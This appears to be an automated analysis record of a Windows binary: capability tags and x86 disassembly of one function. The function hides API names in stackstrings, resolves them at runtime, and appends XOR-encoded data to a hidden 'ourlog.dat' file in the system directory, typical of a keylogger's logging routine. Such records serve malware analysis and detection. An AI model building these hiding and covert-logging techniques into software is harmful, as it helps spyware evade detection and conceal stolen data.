Function at 0x40c208
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x4013b0
push 0x4014ec
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x401ce4
push ebx
mov dword [ebp - 0x48], eax
call esi
push eax
call edi
and byte [ebp - 1], 0
and byte [ebp - 0x29], 0
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x3c]
push eax
push ebx
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
mov byte [ebp - 0x3c], 0x47
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x53
mov byte [ebp - 0x38], 0x79
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x6d
mov byte [ebp - 0x33], 0x44
mov byte [ebp - 0x32], 0x69
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x79
mov byte [ebp - 0x2a], 0x41
call esi
push eax
call edi
lea ecx, [ebp - 0x150]
push 0x104
push ecx
call eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
and byte [ebp - 0xd], 0
lea eax, [ebp - 0x18]
push eax
push ebx
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x41
call esi
push eax
call edi
push 0
push 0x80
push 4
push 0
push 2
lea ecx, [ebp - 0x150]
push 0x40000000
push ecx
call eax
and dword [ebp - 0x4c], 0
push 0
push eax
mov dword [ebp - 0x40], eax
call dword [ebp - 0x44]
and byte [ebp - 0x1a], 0
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
push eax
push ebx
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x72
call esi
push eax
call edi
cmp dword [ebp - 0x44], 0x3200000
jae 0x40c3a9
push 2
push 0
push 0
push dword [ebp - 0x40]
call eax
push dword [ebp + 8]
call dword [ebp - 0x48]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test esi, esi
pop ecx
mov edi, eax
jle 0x40c3cf
mov ecx, dword [ebp + 8]
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40c3c3
lea eax, [ebp - 0x4c]
push 0
push eax
push dword [ebp + 8]
call dword [ebp - 0x48]
push eax
push edi
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret